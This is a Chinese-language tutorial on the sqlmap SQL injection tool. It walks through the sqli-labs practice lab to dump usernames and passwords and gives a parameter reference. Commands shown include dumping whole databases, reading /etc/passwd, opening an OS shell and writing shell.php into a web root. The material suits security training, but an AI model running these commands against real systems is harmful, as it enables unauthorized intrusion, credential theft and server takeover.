sqlmap工具基础使用
SQLMap自动化SQL注入与数据库接管神器SQLMap是一款开源的渗透测试工具被广泛认为是目前最强大、最流行的自动化SQL注入工具。它能够自动检测并利用SQL注入漏洞进而接管数据库服务器。对于网络安全研究人员和渗透测试人员来说它是必备的“瑞士军刀”。核心功能SQLMap不仅仅是一个漏洞扫描器它具备完整的数据库攻击链条能力自动探测能够自动识别多种类型的SQL注入漏洞如布尔盲注、时间盲注、报错注入、联合查询注入等。指纹识别自动识别后端数据库管理系统DBMS的类型和版本支持MySQL, Oracle, PostgreSQL, SQL Server等。数据枚举列举数据库中的所有用户、数据库名、表名和列名自动“脱库”Dump即下载指定表中的所有数据。数据库接管在权限允许的情况下可以直接执行系统命令甚至获取服务器的操作系统Shell。文件系统访问可以读取数据库服务器上的任意文件或将文件写入服务器。支持的注入技术SQLMap的强大之处在于它支持几乎所有类型的SQL注入技术布尔盲注通过页面返回的真假逻辑判断数据。时间盲注通过页面响应时间的延迟来判断数据。报错注入利用数据库的报错信息回显数据。联合查询注入利用UNION操作符合并查询结果。堆叠查询执行多条SQL语句。为什么它如此受欢迎全自动极大地降低了手动注入的门槛和工作量。支持广泛支持目前市面上绝大多数的数据库类型。高度可定制用户可以通过各种参数精细控制注入过程甚至编写脚本来绕过WAF。典型使用场景渗透测试安全人员在授权范围内测试网站的安全性。漏洞复现安全研究员用于验证新发现的SQL注入漏洞。CTF竞赛在网络安全夺旗赛中它是快速解题的利器。法律免责声明SQLMap是一把双刃剑。请务必仅在拥有合法授权的目标上使用此工具。未经授权的渗透测试属于违法行为。万能公式你只需要记住这个递进公式查所有库sqlmap -u 网址 --dbs查看当前连接数据库的用户名sqlmap -u 网址 --current-user只查看当前库sqlmap -u 你的网址 --current-db --batch查表sqlmap -u 网址 -D 库名 --tables查列sqlmap -u 网址 -D 库名 -T 表名 --columns查数据sqlmap -u 网址 -D 库名 -T 表名 -C 列名 --dumpsqlmap -u 网址 -D 数据库名 -T 表名 -C 字段1,字段2,字段3 --dump第一步获取数据库信息目的让 sqlmap 自动判断数据库类型、版本、当前用户和当前所在的数据库名。先简单对网址进行url测试测试结果会展现出来会分析可能存在的注入漏洞版本型号操作系统第二步列出所有数据库目的查看服务器里有哪些数据库比如 mysql, information_schema, security 等。确认有漏洞就开始扫描所有的库扫描出来13个库名因为我们的目标是第一关的数据我们查所有库反而影响我们找到我们想要的数据所以特定查询第三步列出指定数据库的所有表目的sqli-labs 的核心数据通常在 security 数据库里我们需要看里面有哪些表比如 users, emails 等。找到库我们就可以进行查表查表发现里面有四个表我们可以根据表名去猜测我们真正需要的内容当然也可以多个查询第四步列出指定表的列字段目的我们要脱库拿数据得先知道表里有哪些列比如 username, password。这里我们需要找到账号密码所以优先扫描users表看里面有没有我们想要的内容可以看见username,password 大概率就是我们所需的数据了第五步爆数据脱库目的最终目标把数据导出来。最终可以看到账号密码已经展现出来了sqlmaq相关参数目标指定 (Target)这是最基础的参数告诉 sqlmap 你要测试什么。参数说明示例-u URL,--urlURL指定目标 URL最常用sqlmap -u http://example.com/page.php?id1-g GOOGLE_DORK使用 Google Dork 语法批量测试搜索结果sqlmap -g inurl:.php?id1-m FILE从文件中读取多个目标 URL 进行批量测试sqlmap -m targets.txt-r FILE从文件中读取 HTTP 请求用于测试 POST 数据或带 Cookie 的请求sqlmap -r request.txt请求配置 (Request)当目标需要特殊处理如 POST 请求、Cookie、User-Agent时使用。参数说明示例--dataDATA指定 POST 数据sqlmap -u http://example.com/login --datauseradminpass123--cookieCOOKIE指定 Cookie用于登录后的页面测试sqlmap -u http://example.com/admin --cookiePHPSESSIDabc123--user-agentAGENT指定 User-Agentsqlmap -u http://example.com --user-agentMozilla/5.0--random-agent随机选择 User-Agent绕过简单防护sqlmap -u http://example.com --random-agent--proxyPROXY通过代理如 Burp Suite发送请求sqlmap -u http://example.com --proxyhttp://127.0.0.1:8080注入检测 (Injection)控制 sqlmap 如何检测和利用注入点。参数说明示例-p TESTABLE指定要测试的参数当 URL 有多个参数时sqlmap -u http://example.com/page.php?id1cat2 -p id--dbmsDBMS指定数据库类型可加快速度避免自动探测sqlmap -u http://example.com --dbmsmysql--levelLEVEL设置检测等级1-5默认为1等级越高检测越全面sqlmap -u http://example.com --level3--riskRISK设置风险等级1-3默认为1等级越高 payload 越激进sqlmap -u http://example.com --risk2数据提取 (Enumeration)一旦确认存在注入就可以用这些参数来“拿数据”。参数说明示例--dbs列出所有数据库sqlmap -u http://example.com --dbs--current-db获取当前使用的数据库名sqlmap -u http://example.com --current-db--tables列出当前数据库的所有表sqlmap -u http://example.com --tables--columns列出指定表的所有字段sqlmap -u http://example.com -D dbname -T users --columns--dump导出指定表的所有数据sqlmap -u http://example.com -D dbname -T users --dump--dump-all导出所有数据库的所有数据慎用sqlmap -u http://example.com --dump-all操作系统访问 (OS Access)在拥有足够权限的情况下可以尝试执行系统命令或读写文件。参数说明示例--os-cmdCMD执行单条操作系统命令sqlmap -u http://example.com --os-cmdwhoami--os-shell获取一个交互式的操作系统 shellsqlmap -u http://example.com --os-shell--file-readFILE读取目标服务器上的文件sqlmap -u http://example.com --file-read/etc/passwd--file-writeFILE将本地文件写入目标服务器sqlmap -u http://example.com --file-writeshell.php --file-dest/var/www/shell.php输出与调试 (Output Debug)控制 sqlmap 的输出信息方便调试或记录。参数说明示例-v VERBOSE设置输出详细等级0-6默认为1sqlmap -u http://example.com -v 3(显示 payload)--batch非交互模式自动选择默认选项适合脚本化sqlmap -u http://example.com --dbs --batch--save保存当前会话下次可继续sqlmap -u http://example.com --save